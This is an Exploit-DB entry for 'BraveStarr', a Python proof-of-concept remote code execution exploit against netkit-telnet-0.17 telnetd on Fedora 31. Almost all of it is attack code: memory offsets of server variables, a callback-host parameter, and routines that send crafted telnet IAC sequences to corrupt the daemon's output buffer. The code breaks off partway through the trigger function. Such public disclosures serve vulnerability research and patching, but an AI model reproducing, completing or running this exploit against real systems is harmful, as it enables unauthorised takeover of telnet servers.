Exploit-DB #48170
Description: netkit-telnet-0.17 telnetd (Fedora 31) - 'BraveStarr' Remote Code Execution
Type: remote
Platform: linux
Date: 2020-03-02
Author: Immunity

Exploit:
#!/usr/bin/env python3
#
# BraveStarr
# ==========
#
# Proof of Concept remote exploit against Fedora 31 netkit-telnet-0.17 telnetd.
#
# This is for demonstration purposes only.  It has by no means been engineered
# to be reliable: 0xff bytes in addresses and inputs are not handled, and a lot
# of other constraints are not validated.
#
# AppGate (C) 2020 / Ronald Huizer / @ronaldhuizer
#
import argparse
import base64
import fcntl
import gzip
import socket
import struct
import sys
import termios
import time

class BraveStarr(object):
    SE   = 240  # 0xf0
    DM   = 242  # 0xf2
    AO   = 245  # 0xf5
    SB   = 250  # 0xfa
    WILL = 251  # 0xfb
    WONT = 252  # 0xfc
    DO   = 253  # 0xfd
    IAC  = 255  # 0xff

    TELOPT_STATUS   = 5
    TELOPT_TTYPE    = 24
    TELOPT_NAWS     = 31
    TELOPT_TSPEED   = 32
    TELOPT_XDISPLOC = 35
    TELOPT_ENVIRON  = 39

    TELQUAL_IS    = 0
    TELQUAL_SEND  = 1
    TELQUAL_INFO  = 2

    NETIBUF_SIZE  = 8192
    NETOBUF_SIZE  = 8192

    # Data segment offsets of interesting variables relative to `netibuf'.
    netibuf_deltas = {
        'loginprg':         -34952,
        'state_rcsid':      -34880,
        'subpointer':       -34816,
        'ptyslavefd':       -34488,
        'environ':          -33408,
        'state':            -33268,
        'LastArgv':         -26816,
        'Argv':             -26808,
        'remote_host_name': -26752,
        'pbackp':           -9232,
        'nbackp':            8192
    }

    def __init__(self, host, port=23, timeout=5, callback_host=None):
        self.host    = host
        self.port    = port
        self.sd      = None
        self.timeout = timeout

        self.leak_marker = b"MARKER|MARKER"
        self.addresses   = {}
        self.values      = {}

        if callback_host is not None:
            self.chost = bytes(callback_host, 'ascii')

    def fatal(self, msg):
        print(msg, file=sys.stderr)
        sys.exit(1)

    def connect(self):
        self.sd = socket.create_connection((self.host, self.port))

        # Try to ensure the remote side will read a full 8191 bytes for
        # `netobuf_fill' to work properly.
        self.sd.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 8191)

    def address_delta(self, name1, name2):
        return self.addresses[name1] - self.addresses[name2]

    def address_serialize(self, name):
        return struct.pack("<Q", self.addresses[name])

    def ao(self):
        return b"%c%c" % (self.IAC, self.AO)

    def do(self, cmd):
        return b"%c%c%c" % (self.IAC, self.DO, cmd)

    def sb(self):
        return b"%c%c" % (self.IAC, self.SB)

    def se(self):
        return b"%c%c" % (self.IAC, self.SE)

    def will(self, cmd):
        return b"%c%c%c" % (self.IAC, self.WILL, cmd)

    def wont(self, cmd):
        return b"%c%c%c" % (self.IAC, self.WONT, cmd)

    def tx_flush(self):
        while self.tx_len() != 0:
            time.sleep(0.2)

    def tx_len(self):
        data = fcntl.ioctl(self.sd, termios.TIOCOUTQ, "    ")
        return struct.unpack('i', data)[0]

    def netobuf_fill(self, delta):
        # This populates the prefix of `netobuf' with IAC WONT SB triplets.
        # This is not relevant now, but during the next time data is sent and
        # `netobuf' will be reprocessed in `netclear' will calls `nextitem'.
        # The `nextitem' function will overindex past `nfrontp' and use these
        # triplets in the processing logic.
        s = self.do(self.SB) * delta

        # IAC AO will cause netkit-telnetd to add IAC DM to `netobuf' and set
        # `neturg' to the DM byte in `netobuf'.
        s += self.ao()

        # In this request, every byte in `netibuf' will store a byte in
        # `netobuf'.  Here we ensure that all `netobuf' space is filled except
        # for the last byte.
        s += self.ao() * (3 - (self.NETOBUF_SIZE - len(s) - 1) % 3)

        # We fill `netobuf' with the IAC DO IAC pattern.  The last IAC DO IAC
        # triplet will write IAC to the last free byte of `netobuf'.  After
        # this `netflush' will be called, and the DO IAC bytes will be written
        # to the beginning of the now empty `netobuf'.
        s += self.do(self.IAC) * ((self.NETOBUF_SIZE - len(s)) // 3)

        # Send it out.  This should be read in a single read(..., 8191) call on
        # the remote side.  We should probably tune the TCP MSS for this.
        self.sd.sendall(s)

        # We need to ensure this is written to the remote now.  This is a bit
        # of a kludge, as the remote can perfectly well still merge the
        # separate packets into a single read().  This is less likely as the
        # time delay increases.  To do this properly we'd need to statefully
        # match the responses to what we send.  Alack, this is a PoC.
        self.tx_flush()

    def reset_and_sync(self):
        # After triggering the bug, we want to ensure that nbackp = nfrontp =
        # netobuf We can do so by getting netflush() called, and an easy way to
        # accomplish this is using the TELOPT_STATUS suboption, which will end
        # with a netflush.
        self.telopt_status()

        # We resynchronize on the output we receive by loosely scanning if the
        # TELOPT_STATUS option is there.  This is not a reliable way to do
        # things.  Alack, this is a PoC.
        s      = b""
        status = b"%s%c" % (self.sb(), self.TELOPT_STATUS)
        while status not in s and not s.endswith(self.se()):
            s += self.sd.recv(self.NETOBUF_SIZE)

    def telopt_status(self, mode=None):
        if mode is None: mode = self.TELQUAL_SEND
        s = b"%s%c%c%s" % (self.sb(), self.TELOPT_STATUS, mode, self.se())
        self.sd.sendall(self.do(self.TELOPT_STATUS))
        self.sd.sendall(s)

    def trigger(self, delta